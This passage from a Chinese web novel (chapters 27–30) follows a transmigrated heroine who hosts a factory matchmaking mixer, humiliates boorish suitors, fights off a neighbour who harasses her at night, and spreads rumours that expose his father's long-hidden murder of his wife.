人群中响起一阵笑声,那些男同志为了表示不怕宋知南,便纷纷举手。 宋知南大致一数,三分之二的男同志举手了。 她叹息一声:“其实我做为女同志的娘家人,希望你们对她们掏心掏肺,没想到你们掏的却是孝心。” 女同志哄然大笑,男同志们面如猪肝,觉得一点都不好笑。 杠精系统:杠精值加666。 宋知南:发财了发财了。看来她的财运就在男人身上。 第27章 宋知南这么一折腾, 产生了两个效果。 女同志这边,对于男同志那边的情况了解得更多更深, 毕竟那表格上写得很详细,什么工作家里几口人,大致什么情况都了解了,要是看得差不多,回头再找人打听打听男方的风评和人品就差不多了。 而男同志这边,他们拿这些女同志跟宋知南一比,觉得她们真是温柔贤惠,善解人意。只要女方不是宋知南这样的,谁都行。 双方虽然还在矜持着扭捏着,但到底是破冰了,时不时地还有人聊上几句。 陆诗月也有人搭讪, 搭讪她的不是别人正是霍峥嵘的忠实小弟李松, 就是那个说话特别粗鲁长得像李逵的家伙。 陆诗月是学校的才女, 平常就爱看书爱写点东西,是个文艺青年。这个李松完全跟她不搭嘎。有些人缺什么就喜欢什么。 等等, 宋知南脑中的剧情线又被触发了。这个陆诗月和李松不是原书中有名的一对怨偶吗? 文中说陆诗月敏感矫情心眼小, 遇事总是想太多,动不动就生气,而且还不合群,与李松的家人哥们相处不来。李松性格粗犷豪爽,大大咧咧,两人矛盾丛丛。李松总是羡慕霍峥嵘娶了个知书达理、秀外慧中、善解人意的绝顶好媳妇,不像他这么倒霉。女主江茶还去帮他们调解矛盾, 言里言外还说陆诗月拎不清不通透,活得像麻花一样拧巴。霍峥嵘对李松充满同情, 还劝其他小弟说,找对象千万不要找文艺女青年。 如果说宋知南是书中十八线女配,那么陆诗月就是二十八线女配,陆诗月全名都没出现过几次,一般都叫她陆嫂子或是李松媳妇。 宋知南一看自己的朋友兼室友将要成为大冤种,自然得提醒她几句。 现在也没她什么事了,于是她就走过去,拍拍陆诗月的肩膀。陆诗月正被李松缠着尬聊,一看宋知南来了,不禁松了口气,笑着说:“知南,你忙完了。今天真是辛苦你了。” 宋知南笑着说:“还行,同志们都挺配合。” 两人说着话,对面的李松瞪大了眼睛。不是,这个宋知南怎么阴魂不散呐。他瞅着陆诗月这姑娘清秀文雅,说话温声细语的,是他喜欢的那种类型。他就在哥们的鼓励下,厚着脸皮过来搭讪。谁能想到,这陆诗月竟然跟宋知南挺熟,完了完了,小陆这姑娘肯定会被宋知南给带坏了。 李松越想越气,上次被骂的仇他还记着呢,这回倒好,宋知南又想来搅黄自己的相亲,是可忍,孰不可忍。 李松斜睨着宋知南,清清嗓子,带着恶意地说道:“宋同志,你今天挺威风呀,大伙都在议论你呢。对了,今天怎么没有男同志跟你搭话呀?” 她做为联谊会的主持人,那么引人注目,竟然没有一个男同志上来搭讪,那得多失败。 李松说完,静等着宋知南生气发火。 宋知南反应十分平淡,她仿佛才看到李松似的,惊诧道:“李松同志你竟然也来了?不对啊,联谊会要求必须是单身青年,你这个年纪应该都有孩子了吧?” 李松的脸黑得像锅底,粗声嚷道:“我啥年纪?你看我多大年纪?” 宋知南不确定地问道:“你今年有45吗?” 周围响起了一阵爆笑声,他们天也不聊了,都扭过来头看热闹。 李松咬着牙根硬挤出一句:“什么45,你那是啥眼神?我今年才25!” 宋知南一脸茫然:“啊,才25啊,那你长得挺着急的。” 人群中发出了欢快的笑声:“噗哈哈。” 李松气呼呼地说:“人最重要的是心灵美内在美。” 宋知南:“可是你脾气不好,性格也差劲,内在也不美啊。” “你!” 现场再次爆发出一阵笑声。 李松瞪着眼睛着重强调:“男人的长相根本不重要,脾气火爆才有男人味。” 宋知南针锋相对:“一般长得丑又脾气差的男人才这么说。” 李松彻底坐不住了,质问道:“宋同志,你啥意思?你是说我长得丑还脾气差?” 宋知南更加诧异:“李同志,你自己难道不知道?你平常不照镜子吗?你家没镜子,也总该有水吧?” 李松:“……” 人群中再次爆发出一阵狂笑声,险些把屋顶掀翻。 杠精系统:杠精值加200。所以,她不止杠了李松,还杠了跟李松一样丑而不自知的男同志。 就在这时,江茶过来救场了。 她先安慰了李松几句,把他满腹的怒火降下来,接着她看着宋知南义正词严地说道:“宋同志,你这么说就不对了,咱们无产队级的女同志看人不能只看长相,也不能只看家境。” 江茶的话得到了在场绝大部分男同志的认可和赞同,毕竟他们既没长相又没家境。 人就怕对比,这些人都觉得还是江茶懂事明理会说话。 宋知南大声问道:“江同志,你说看人不能只看长相,我想问下,你怎么就看不上李松同志呢?他跟霍峥嵘比到底差在哪里?” 江茶微微红了脸:“你说什么呢?我跟李松是纯洁的朋友关系。” 宋知南面带微笑:“你说你不看长相和家境,可是你却挑中了霍峥嵘,霍峥嵘大家知道吗?”后面的话她就没再说下去。谁不知道霍峥嵘长得英俊家境也好。 是啊,你觉得长相和家境不重要,你咋不找一个又丑又穷的? 不少女同志对江茶这做派隐隐有些不满,也就是说,她让大家不要挑长相和家境,自己悄摸摸地挑,难道她们就不配找好的? 但这话,大家不能明着说,有人就向她拐着弯的提出了质疑,江茶赶紧向大家解释。 宋知南看着江茶陷入了女同志的包围圈中,满意地离开了。 她还有事要做,她打算写几篇稿子去,临走前她悄悄嘱咐陆诗月:“诗月,不喜欢的就要懂得拒绝。你这样的性格最好找一个文化程度高点,性格温和的对象。还有,要注意甄别江茶给你介绍的对象。” 李松这人也挺搞笑,他喜欢陆诗月身上的文艺气息,但又讨厌她身为文艺青年自带的敏感细腻,还大力嘲讽之。像他那样粗糙野蛮又大男子主义的男人肯定不适合陆诗月。至于江茶,她介绍对象一般是站在男方的立场上,自然会委屈女方。宋知南才不想自己的朋友被江茶献祭给霍峥嵘的兄弟。 陆诗月点头:“谢谢你的提醒,我会谨慎的。”她决定不再理会那个李松,她不喜欢这种类型的男人。 宋知南找了个角落,从书包里拿出本子和笔开始写稿,她办了联谊会得给自己宣传宣传。上次投的稿到现在还没动静,宋知南毫不气馁,投稿嘛,哪有一次就中的。 宋知南刷刷写下文章的名字:《妇联在前进,坚决反对倒退》。 文章内容写的就是这次的联谊会,准备投给《妇女报》。 她先写了初稿,回去再润色誊写。 第一篇初稿写完,接着写第二篇:《对象怎么找?妇联给你唠一唠》。 她正写得起劲,有人站在了她的身后。 宋知南顺手合上笔记本,扭头一看,来人是个长相清秀,气质冷清的年轻男子,看着有些面熟,也对,资料上都有照片,她都看过。这位是机械厂的厂草林之洛。 宋知南客气地问道:“林同志,你找我有事?” 林之洛打量了宋知南一眼,说道:“宋同志,听说你把我评成了机械厂的厂草?” 宋知南一本正经地说:“是大家评的,群众的目光是雪亮的。林同志是来感谢我的?” 林之洛面无表情:“我的同事们都笑话我。” 宋知南说:“林同志,这很正常,不遭人妒是庸才。再说了,你不光是长相惹人妒忌,我听说你的技术更遭人妒忌呢。” 林之洛的表情有了一丝松动,比起长相,技术更让他自豪。 林之洛对宋知南的话很满意,冲她点点头,难得肯定一句:“宋同志,其实你也很不错。只是他们的评判标准太单一太片面了。” “谢谢,林同志的眼光不错,比在场的男同志强多了。而且我一点也不在乎他们的评判标准。”她早已跳出男人的审美和标准,她现在是评委而不是选手。 林之洛本来还想再多跟宋知南聊几句,他一转头就发现大家都在往他们这边看。 他只好匆匆告辞:“宋同志,我们以后有空再聊。” 林之洛前来跟宋知南说话,确实引起了很多人的注意,大家交头接耳、议论纷纷,有人悄悄说,这个林之洛是不是看上宋知南了? 这个猜测一出,立即有人断然否定:不可能,绝对不可能。 林之洛人聪明技术好,性格清高孤傲眼光高,寻常女孩入不了他的眼。这次联谊会人家根本不想报名,是被厂里领导硬拉过来的撑场面的。 他这样的人要是看上宋知南,那就说明他脑子有问题,根本配不上聪明这个评价。 大家闻言松了一口气,既然根本没可能,那他们就放心了。要是林之洛眼瞎真看上宋知南,他们一定会孤立他嘲笑他。 联谊会主要在上午,中午12点半就散场了。大部分人还算满意,有些青年男女彼此看对了眼,打算进一步接触。也有人很不满意,比如那个李松。本来陆诗月开始时没直接拒绝他,被宋知南一搅合,陆诗月后面再也不理会他了。 李松气哼哼地回到霍峥嵘的小团体后,就开始跟众人吐槽宋知南:“本来联谊会办得挺好的,就是被宋知南给搅合坏了。” 其他人纷纷附和:“要是茶茶姐主办就好了。” 李松说:“姓宋的还当场给嫂子难堪。” 霍峥嵘的目光慢慢变得阴沉起来,他不允许有人欺负茶茶。 大家正讨论得热烈,霍峥嵘的另一个小弟王左鬼鬼祟祟地过来了,像是有事要说。大家赶紧散了,把空间留给两人。 王左附在霍峥嵘耳边说:“霍哥,那个山洞里面好像有东西……” …… 宋知南今天收获了一千多的杠精值,心情相当不错,连走路都是迈着六亲不认的步伐。 想到这里她还有些遗憾,要是她在前世就有杠精系统,就凭她在网上的人气,她不得杠成首富? 宋知南心情好,人也变得大方了,先出手买了那个“洗脑丸”,放着以备不时之需。接着她又下单了饼干、糕点、挂面等一堆吃的。她本来还想再来个大力丸,但商城上暂时没有。商城有一个好处就是会贴心地把东西换成这个时代的物品,可以显得不那么突兀。 她跟陆诗月和吴明珠不熟,对方也不知道她的全部家当,她可以适当拿出一些以前没有的东西。 宋知南回到新家,吴明珠和陆诗月都没回来,她俩可能回自己家去了。 她一个人也更自在,先吃饭,直接从商城买了两个素包子和一份凉菜,吃饱喝足,她开始整理院子,这几天她一直在忙着联谊会的事,种菜的事就耽搁了。今天一看,她上次洒的菜种都出芽了。 宋知南继续拔草、松土、浇水,之后再种上菜籽。其实直接买现成的菜苗最好,可是现在不是种菜的季节,她也不知道去哪儿买,干脆就洒上菜籽,再用空间里的泉水浇一下,那泉水虽然不是灵泉,也应该比普通的水好。 干了一个小时的活,宋知南有些累了,喝一杯茶水润润喉,开始修改文章,今晚得定稿,明天上班时拿到邮局寄走。 下午四点,宋知南就完成了任务。 该准备晚饭了,今天是星期天,食堂不开门。既然有房子住了,可以考虑一下开火做饭。 说到做饭,这个年代自然没有天然气,甚至连煤气罐都不普遍,大家主要是用煤炉子或是烧柴火。宋知南决定弄一只炉子回来用。 吴家院子里是有厨房的,晚上等吴明珠回来,她得先问下。 离天黑还有段时间,宋知南继续在院子里忙活,她正在拔草,就听门外有人敲门。 第28章 “谁呀?” “小南, 是我。” 来的人是宋知夏和宋冬宝,宋知夏手里还提了一个篮子。 宋冬宝一看院子里没有别人在, 像猴子一样窜了进来,“哇,这院子可真大,不愧是吴厂长家的房子。” 宋知夏左看看右看看,也是一脸的羡慕,她说道:“小南,我给你送来一篮子好吃的。” 宋冬宝调皮地笑着说:“嘿嘿,咱妈都不知道。” 宋知南让两人进屋,一看这宽敞明亮的房间,两人再次发出一声感叹。最羡慕的还数宋知夏,这房间这么大这么明亮, 竟然是一个人住, 她这辈子还能住上这样的房子吗?之前她还暗地里嫌妹妹铺张浪费, 明明有住的地方还非出来租房子。现在一看,若是她能挣工资, 她也想出来租房子。 宋知夏掀开篮子上盖的白布, 里面是烙饼和咸鸭蛋。 她说道:“今天大姐回来了,她说想见见你,我叫冬宝过来找你,你不在家。饼是大姐烙的,鸭蛋是她带来的,她临走时让我给你送来。” 原主记忆中的大姐宋知春对她还不错,在娘家时挺照顾她, 时不时地还悄悄塞给她点零花钱。宋知春嫁到了郊区,宋上进看不上男方家, 嫌他家是郊区的,狠要了一笔彩礼。临结婚时,李玉华又跟男方家要粮票和肉票,弄得两家很不愉快。加上宋知春那个婆婆有些奇葩,总盯着她怕她补贴娘家,因此大姐并不常回娘家。 宋知南拿起烙饼一边吃一边说:“嗯,我上午去忙联谊会的事了,那帮龟孙子快烦死我了。” 宋冬宝现在对找对象的事无感,只关心吃的,问清楚联谊会不管饭后一点兴趣也没有了。 宋知夏对联谊会的事十分感兴趣,问东问西的,宋知南就随口多说了几句。 宋知夏一听会上有很多机械厂和钢铁厂的工人,遗憾地叹息道:“你说你要是早当上妇联干事该有多好,没准我也能参加联谊会,说不定我能找个更好的对象。”嫁给陈安华到底让她意难平。所谓饥不择食,急不择夫,说的就是她。 宋知南今天心情好,说话也好听了,还顺口安慰宋知夏一句:“没事,男人关了灯都一样,捏着鼻子凑合使吧,反正你也不会离婚。”两人已经领了证,哪怕没办酒席也是法律上的夫妻。 宋知夏窘得脸上飞起一抹红润,这个妹妹说话怎么那么口无遮拦? 宋知南拿出零食招待两人,两人随便吃了几口就主动帮着宋知南干活。 “你真要种菜?” “是的,这么大院子不种菜可惜了。” “你以前也没种过菜吧?” “学学不就会了。” 人多力量大,有了两人的加入,干活的速度快多了。 两人一直在小院里呆到天快黑时才回家。 临走时,宋知夏迟疑了一会儿说道:“小南,你要是一个人害怕,我可以过来陪你。” 宋知南看着她:“还跟你一起住?那我搬出来是为了啥?” 宋知夏尴尬地笑笑,领着宋冬宝离开了。 宋知南和宋冬宝刚走,陆诗月就回来了。 她一进门就说:“明珠今晚在家住,我担心你一个人害怕就赶紧回来了。” “诗月你真好,我越来越喜欢你了。” 陆诗月从家里带来了吃的,热情地邀请宋知南一起吃。宋知南也拿出一些零食,两人边吃边聊。 两人聊到上午的联谊会时,陆诗月蹙着眉头说:“那个李松确实不是我喜欢的类型,长相就不说了,就他那个性格我也不喜欢,还当面嘲讽你,没有一点气度,后面我就没再理他。没想到联谊会结束后,他一直跟着我走了好远,大家都说他这人一根筋,认准的事就不会轻易放弃。” 宋知南也皱眉,这个李松还是个死缠烂打的。也对,原书中好像提过一嘴,说他当初缠了好久才娶到陆诗月。然而,他们结婚以后李松又后悔不迭,天天羡慕霍峥嵘和别的哥们。书中站在男女主的角度看,李松似乎很让人同情。毕竟他是那么的豪爽大方讲义气,却娶了陆诗月那么个“矫情、事多、心眼小”的媳妇,家庭生活一点也不幸福,令人扼腕叹息。 但宋知南站在陆诗月的角度看只想破口大骂,当初是他死缠烂打,把人娶回家又不知道珍惜,两人出了问题,也不想着跟妻子好好沟通,解决问题。天天就知道羡慕别人,把自己装成一个无辜的受害者,博得大家伙的同情,让别人站在他那边一起骂陆诗月。实际上最惨的是陆诗月,人家本来就是个心思细腻的文艺青年,却嫁了一个自以为是的大老粗,半辈子过得不舒心。 宋知南说道:“那你更不能理他,他这人脑子不好使,性子偏执心里没有数。你可别把死缠烂打当作深情。” 陆诗月重重点头:“知南,别看你年纪小,可是你真的懂的多。别人说他是因为真心喜欢我才这样对我,可是他一直跟着我,我心里很害怕,还怕别人说三道四。” “他以后再纠缠你,你就告诉他领导,他这是耍流氓。” “行。” 两人聊了一会儿,便各自回房休息。 宋知南回房后,看了两个小时的书,洗漱一下就睡了。 睡到半夜,宋知南突然惊醒过来,她听到有人在敲门,一下又一下的敲,缓慢而有节奏,那声音仿佛敲在心口似的,让人平添一丝不安。 宋知南想了一下,正常情况下,邻居不会在半夜敲门,很有可能是附近的小流氓知道这院子里住着三个女孩,过来撩闲骚扰。 她不管对方是谁,既然敢骚扰就得让他们付出代价。 想到这里,宋知南飞快地穿好衣服,顺手摸出钢筋和手电筒,穿上鞋更方便奔跑的球鞋,蹑手蹑脚地打开房门。 她刚一打开门,就听见隔壁的门也嘎吱一声开了,陆诗月站在月光下,正冲她摆手,小声说:“你赶紧回屋,用柜子顶住门。” 宋知南冲她摆手示意,她像猫儿一样,轻手轻脚地走到大门口,然后飞快地拔开插销,猛地把大门打开,打开手电筒照过去。 只见一个矮冬瓜模样的男人正奋力往前跑,宋知南想也不想,拔腿就追,一边追一边大声喊:“抓小偷,抓小偷!” 她喊,院子里的陆诗月也跟着一起喊。 她们俩这一喊,把左邻右舍都给惊醒了。 宋知南嘴里喊人,手上也没闲着,她快跑几步追上矮冬瓜,飞起一脚踹在他屁股上,矮冬瓜一个没站稳,噗通一声趴在地上,摔了个狗啃屎。 宋知南冲上去,举起手中的钢筋对着他的屁股就是一阵猛打猛戳,手上用钢筋,脚上用力踹,还特意猛踹对方的裆部,矮冬瓜在地上翻滚着惨叫:“别打了别打了,是我。” “打的就是你!” 邻居们闻声都出来了,十几束手电筒的光一起打过来,照在贼的脸上。 大家惊呼出声:“刘卫国,怎么是你?” 宋知南一脚踹在刘卫国脸上,刘卫国疼得惨叫出声。这时,刘卫国的爸刘富贵听到声音也跑出来了,他赶紧冲上前去护住自家儿子,还想动手去推宋知南。宋知南一个扑棱躲过去,随后一个有力的巴掌扇过来,把刘富贵扇得脑袋歪向一边:“原来你跟贼是一窝的,我连你一起打。” 众人赶紧劝:“先别动手,可能是误会,大家都是邻居。” 陆诗月也穿好衣裳出来了,她拉着宋知南小声说:“那个刘卫国,也住在咱们这一片儿。他爸还是咱们厂保卫科的。” 宋知南大声说道:“刘富贵你还是保卫科的?你儿子是小偷你知不知道?” 刘富贵刚才挨了宋知南一巴掌,此时恨不得立即打回去,但这么多人看着,他必须得压着火气,好好解释自家儿子的事。 “这位同志,全是误会。卫国是路过你家,大家都是街坊邻居,低头不见抬头见,他怎么会偷你家东西?” 宋知南冷笑:“我就是听到有人撬门,才出来捉贼的。大家看看现在几点了?谁家好人会这时候不睡觉出门路过别人家里?街坊邻居咋了,小偷就没有街坊邻居吗?就是因为是街坊邻居知道底细才能偷得更欢。大家说是不是?” 大家一听说这个还真有人担心刘卫国偷到自家,看他的眼神都不对了。 刘富贵看了一眼宋知南,赶紧转移话题:“你是小宋是吧,说起来咱们两家还是亲戚呢。你二姐嫁给了卫国的表哥陈安华,卫国之前见过你,你姐夫还打算把你介绍给卫国来着,这事没准就是你引起的,你们俩白天是不是约好了……” 刘富贵的语气显得意味深长,他有经验,任何事情只要往男女之事上一扯,大家的注意力就会跑偏。到时候人人都会关注刘卫国和宋知南之间的感情纠葛,没人在乎他偷不偷东西。到那时,宋知南就算浑身是嘴也说不清楚,反正他家是儿子,不但不吃亏,还占便宜。 宋知南立即明白了对方的险恶用心,就是想趁机毁她的名声呗。她不在乎归不在乎,但绝不允许别人随便诋毁造谣,见之必诛。 宋知南根本不废话,冲上去一脚心窝踹把刚站起来的刘卫国重新踹倒在地。 众人:“……” 刘富贵想拦都没时间拦。 宋知南像恶虎扑狼似的冲上去,对着就刘卫国就是一通狂风暴雨般地痛揍,一边打一边骂:“刘卫国,你他爹的不是个东西,我姐夫说你是个天阉,你爸也是天阉,你不是你爸亲生的,是你妈找你大伯借来的种,就你这种残废人渣野种也配介绍给我?你去死吧,阎王爷身边正好缺个太监。” 宋知南骂人时把刘家全家都给捎上了。 经常骂人的都知道骂人界有个原则:骂人不骂妈,犹如弹棉花;骂人不骂父,相当于山西人没有醋。都开始对骂了,你还讲究什么道德什么分寸,对方哪儿疼你就往哪儿戳。 宋知南这番话引起了一阵飓风,众人惊讶地张大了嘴巴。 “什么?刘卫国是天阉?刘富贵也是天阉?” “他不是他爸亲生的,是他伯父的儿子?” 刘富贵气得脸都紫了,刘卫国先是发懵,接着是狂怒和疯狂否定:“我不是,我不是。” 宋知南气定神闲地说:“你不是,你证明呀,你们爷俩一起证明呀。”她就不信两人能当着众人的面脱裤子证明自己不是天阉,如果真的这么做了,他们的脸也丢光了。男人不是喜欢让女人证明自己的清白吗?她就以其人之道还制其人之身。 众人目光炯炯地盯着他们父子俩。 真的要证明吗?当众脱裤子证明?那场面得有多热闹? 刘卫国气得嘴唇颤抖,精神处在崩溃边缘:“我不是小偷也不是天阉,我就是听说你刚搬过来,因为你得罪了我,我就想故意敲门吓唬吓唬你。” 刘卫国觉得自己很冤枉,他真没想偷东西,他就是上次在宋家被宋知南怼了一顿一直怀恨在心,前天在这附近遇到她,自己跟她打招呼,她竟然理都不理,还用那种嫌弃的目光看着自己。于是新仇旧恨掺在一起,就让他产生了报复的念头。正好,他打听到吴明珠和陆诗月今晚回家住了,屋子里只有宋知南一个人,他就想敲门试探试探。 他本以为自己半夜敲门会让宋知南吓得瑟瑟发抖,如果对方害怕不敢吱声,他就再翻墙进去…… 谁能想到,他不过是敲了几下门,这家伙竟然直接拎着钢筋就出来揍人了。 宋知南不依不挠:“你可拉倒吧,谁信你这个没种的人说的话,我出来时明明发现你还正试图攀爬隔壁的院墙,你还打手势招呼别人,你肯定还有同伙,你就是想偷东西。” 话题被宋知南带回正道。 这件事越闹越大,最后惊动了纺织厂保卫科的人,他们说会把刘卫国带走审问,才算告一段落。 宋知南知道这事还没完,以刘卫国父子俩那睚眦必报的小气性格,以后绝对不会放过自己。 她要先下手为强,把危险掐死在萌芽状态。于是她熬夜写了几张大字报,名字就叫做《父在保卫科儿半夜翻墙,这是人性的荒谬还是道德的沦丧?》、《刘卫国鲜为人知的惊天大秘密》、《刘富贵:请你坦白交代自己的阶级成分!》。 第二天一大早,大家就在墙上看到三张新鲜出炉的大字报。 众人抹了一把汗,这个宋知南的战斗力是真强啊,别人是君子报仇,十年不晚,她是女子报仇从早到晚。 第29章 刘富贵和刘卫国父子俩本来打算报复宋知南, 只是时间太紧,两人还没商量好对策, 一觉醒来,发现爷俩一起上大字报了。 大家用异样的目光看着他们,对他们指指点点。还有人更过分,目光总是若有若无地扫向他们的裆部,刘富贵又窘又怒,他决定以后一定要在工作中给宋知南使个大绊子,让她好好长长教训。 刘卫国更是生气,他暗暗发誓一定要狠狠地报复宋知南。经过昨天那次交手,刘卫国对自己没什么信心,决定去找一些流氓小混混帮忙。 刘卫国急着去找人,一个小道消息传了出来。说刘卫国是小偷, 半夜总是不睡觉到处偷, 积攒了不少财富;刘富贵为啥名叫富贵, 因为祖上真的阔过,当年刘家祖上留下了一箱黄金, 就埋在他家后院。刘富贵是保卫科的, 家里还藏有前两年查抄的金银珠宝没有上交。小道消息传得有鼻子有眼有细节。 这个流言当然也是宋知南传出去的,她其实只是跟大爷大妈们随口唠了几句。 她就只问了几个问题:“刘富贵为啥名叫富贵呀?难道他家真的富贵过?” “刘卫国总是半夜出门,好家伙,他家得积攒了不少钱财吧?” “这个刘富贵是保卫科的,当年查抄别人家应该也参与了吧?” 大爷大妈们都善于推理,想像力又丰富。 很快,一个具有完整逻辑链的加强版流言就传了出来:“刘富贵家祖上是大财主, 他前两年抄别人家时弄了不少金银财宝,刘卫国是小偷, 偷了不少好东西,这些财宝就藏在他们家里。” 起初还有很多人不信,但随着流言越传越广,信的人越来越多。 “我倒觉得有可能是真的,你还记得十几年前刘富贵老婆跟人私奔的事吗?” “记得记得,咋了还有别的内幕?” “刘富贵亲口说的,说他老婆卷走了很多钱财跟男人跑了,可即便这样,刘家后来的日子也没有多穷。” “还真是的。” “你这么一说我还想起另外一件事,就是刘富贵从来不让人进他家的院子,你说他家后院该不会真的埋着黄金吧?” “你一说这个我也想起来了。” “要真有黄金,刘富贵肯定会抓紧时间转移。” 说者无心,听者有意,有心人一听,这样可不行,可不能真让刘富贵转移走黄金。 第三天清晨,宋知南和吴明珠陆诗月早起去上班,就见路口挤满了人,造成了交通拥堵。 宋知南赶紧上前打听消息,一个热心大爷问她:“刘富贵你认得不?” 宋知南点头:“认得认得,他家发生啥事了?” 大爷继续问:“刘富贵的老婆十几年前跟人跑了你记得不?” 宋知南摇头:“我当时年纪小,不记得了。” 大爷一拍大腿:“大家伙还以为这事是真的,谁能想到,他老婆根本就没跑,是被刘富贵杀了,就埋在刘家后院。有人听说刘家有黄金,半夜跑到他家后院去挖金子,你猜怎么着?黄金没挖着,挖出一具尸体来。哎哟歪,大半夜的,吓死人了。这不把人家吓得赶紧报公安了。” 宋知南一脸震惊。 为什么她不记得这个剧情?她传播这个小道消息,也只是想给刘家父子俩制造点麻烦而已。刘卫国半夜敲她的门,她就让贼半夜翻刘家的墙。 她根本不知道刘家后院竟然藏着一具尸体,要是早知道,她就直接选择传播这个大事件。 罢了,谁让她看网文一目十行呢?做为配角中的配角,刘家的事肯定是一笔带过,在番外或是哪里顺便提一嘴而已,而她根本没留意。现在也挺好,她无意中帮警方提前破了一桩陈年旧案,替刘卫国那可怜的妈报了仇。 宋知南震撼到呆滞的表情大大取悦了大爷,分享八卦的人最满足的就是被分享者的震惊表情。 大爷满意地离开了,用力挤进人群继续搜集新的八卦。 过了一会儿,公安来了。刘家父子很快就被控制了。 吴明珠和陆诗月也是惊讶得说不出话来,半晌之后,陆诗月语气复杂地说:“我还记得刘卫国的妈,她姓白,我们都叫她白阿姨。她很爱打扮很爱笑,对我们小孩很和气,还给我扎过辫子。” 哪怕后来大家都说她跟别的男人有不正当男女关系,但这并不影响陆诗月对她的印象。不过这话她也不好往外说。 吴明珠也说:“我听说过她,我听我妈说,她当时想离婚,但刘富贵坚决不同意,厂里领导也没批准。” 宋知南却说:“她红杏出墙也不怪她,那也是没有办法。都怪刘富贵自己不行还不同意离婚。” 吴明珠和陆诗月脸色绯红,谁也没接她的话。 宋知南很快就意识到自己的话又超纲了,这个年代的人思想还是挺保守的,不能当众说男人不行。 热闹看完,她们还得去上班。 宋知南一到办公室,何黛继续拉着她八卦。 刘家后院挖出尸体的事盖过了一切新闻,处于八卦中心的置顶位置。 这个消息在纺织厂和家属区闹得沸沸扬扬,影响越来越大。 大家连着两天都在讨论这事。 宋知南的生活又恢复了原来的秩序,上班写稿,下班种菜写稿。她征求了吴明珠的同意,把院子里的小厨房收拾出来,买了个炉子准备做饭。 她的好运道也终于来了,《妇联在前进,坚决反对思想倒退》这篇稿子终于被采用,登在了《妇女报》上。这件事在工会引起了不小的轰动,他们厂的职工竟然上报纸了! 杨主任看罢特意把宋知南叫过去表扬一番:“小宋,文章我看了,写得不错,尤其是这个标题起得好。你是个好苗子,好好干。” 宋知南谦逊地说:“谢谢杨主任的鼓励,我会继续努力的。” 杨主任表扬完毕,想起这两天的热门新闻,突然感慨道:“说起来,那个刘富贵和他媳妇白凤英也是组织介绍的,当时大家都说刘富贵老实巴交,谁能想到他会干出这么丧尽天良的事情来,一条鲜活的人命就这么没了,要不是有人去后院挖金子,白凤英同志的死因还会一直被隐瞒着,大家伙还被蒙在鼓里。” 宋知南说道:“杨主任,据我不丰富的经验所知,男人老实并不是一个优点,一般是这人没有其他可夸的优点大家才夸他老实。”老实男也就是五十年后才被大家发现真相,在这之前,他们非常有市场。 杨主任闻言明显愣了一下:“是这样吗?” 杨主任根深蒂固的观念显然不是那么容易动摇的,宋知南也很知趣地没有继续深入聊这个话题。 宋知南一回到办公室,贺胜男就笑眯眯地看着她,重重地拍了她的肩膀:“小宋,你给咱们妇联争光了,你是个好苗子,好好干。” 贺胜男一离开,何黛笑嘻嘻地恭喜宋知南,宋知南主动说:“这次稿费只有2块钱,等我攒多了,再请你吃饭。” 何黛眉开眼笑:“好哇好哇。” 月儿弯弯照九州,有人欢乐有人愁。 此时刘家最愁的是刘卫国,他爸正在公安局里呆着呢。公安已经初步查明,对于刘富贵杀妻埋尸这事,刘卫国当时年纪小,被刘富贵送回了奶奶家,确实不知情,因此他们把刘富贵抓走审问,把刘卫国放回了家。 刘卫国被放回来前,见了刘富贵一面,刘富贵一夜之间老了十几岁,他可怜巴巴地对着儿子诉苦,说他这么做纯属迫不得已,都是被那个女人逼的。 刘富贵恨恨地说道:“你本该成长在父母双全的家庭里,都怪那个不要脸的女人,她水性杨花不守妇道,毁了这个家也毁了你的一生,让你从小就变成没妈的孩子,要不是没有妈妈照料,你也不会长这么矮。以后,你成了没爸没妈的孩子,还被大家们歧视,这一切的源头都是因为白凤英那个女人。是她毁了咱们父子俩。” 刘卫国刚得知这个消息时也恨过刘富贵,恨他杀了妈妈。 现在听他这么一说,他突然忍不住同情起父亲来了。这么多年来,刘富贵总是向刘卫国说白凤英的坏话,说她懒惰、放荡、爱打扮、花钱大手大脚,不管孩子不顾家。很多缺点是刘富贵随便安上去的,毕竟死人又无法开口为自己辩解。但他说着说着就真的信了,到最后他愈发坚信不疑,白凤英越坏,就显得他杀人的理由越正当,他也就越心安理得。 刘卫国在父亲的“熏陶”下,从小就憎恨母亲,现在这恨意又被重新激发了起来。 是啊,都怪他妈,就算父亲那方面真的不行,她就不能为了这个家为了他忍一忍吗?她就为了这点子事儿,跟别的男人好上,给父亲戴绿帽子,这世上有哪个男人能容忍这种事?怪不得父亲会失手杀了她,那是她活该!那个女人死就死了,只是可怜父亲成了杀人犯,更可怜的是自己,没爸没妈还背上这么个名声,以后工作结婚都受影响。他的一生都被那个女人毁了,所以说,女人就是他的克星。 刘卫国满脸阴霾地出了看守所,他回到家,看到被翻得乱糟糟的家里,想到后院曾埋过尸体,吓得也不敢呆在家里,可他又无处可去,亲戚都躲着他,朋友也没人理他,邻居们都用异样的目光看着他。 刘卫国四处游荡,路过吴明珠家时,他猛然想起这一切的始作俑者是宋知南。 他立即找到了仇恨的对象,都怪宋知南,如果不是她,事情根本就不会暴露,他爸还在,他也不会有家不能回。 宋知南!刘卫国在心里咬牙切齿地骂道。爸说得对,女人没有一个好东西。这个宋知南也该死。自己不过是半夜敲个门而已,又没有做什么过分的事,为什么她要追出来?为什么她要打自己?为什么她要贴大字报? 刘卫国钻进了牛角尖,把对人生所有的不满都集中在了宋知南身上。 他有事没事就在吴家附近游荡,陆诗月碰见过两回,吓坏了。她赶紧告诉宋知南和吴明珠。 宋知南冷静地说:“刘卫国把仇恨的目标集中到了我身上,跟你俩无关。对不起,是我连累了你们。你俩可不可以回家住几天,等我解决了这事你们再搬回来?” 吴明珠仗义地说:“你说什么呢?我们哪能让你一个人住这里,你放心,我可不怕刘卫国那家伙。” 陆诗月尽管心里怕得要死,但嘴上也说自己不怕,毕竟当初刘卫国半夜敲门时,是宋知南挺身而出去追人。 吴明珠跟保卫科的人打了招呼,让他们巡逻时多注意这里,她让父亲去找刘卫国谈话,警告一下他。 最后,她还把家里的大黑狗牵来看门,有了大狗看门,夜里只要有人靠近,大狗就会叫,大家就会警醒。 宋知南知道这样千日防贼根本不是办法,对方没有真正动手,她去报公安也没用。但她也不会傻到等对方动手时她再还手,所以她打算靠自己主动解决此事。 没错,法律是保护她的,但同时也是保护刘卫国的。如果对方非要越过这条红线,她也没办法。 第30章 到了星期天, 宋知南向何黛借了自行车,说她要去城南郊区的大姐家走亲戚。 宋知南在副食店买了鸡蛋糕、饼干, 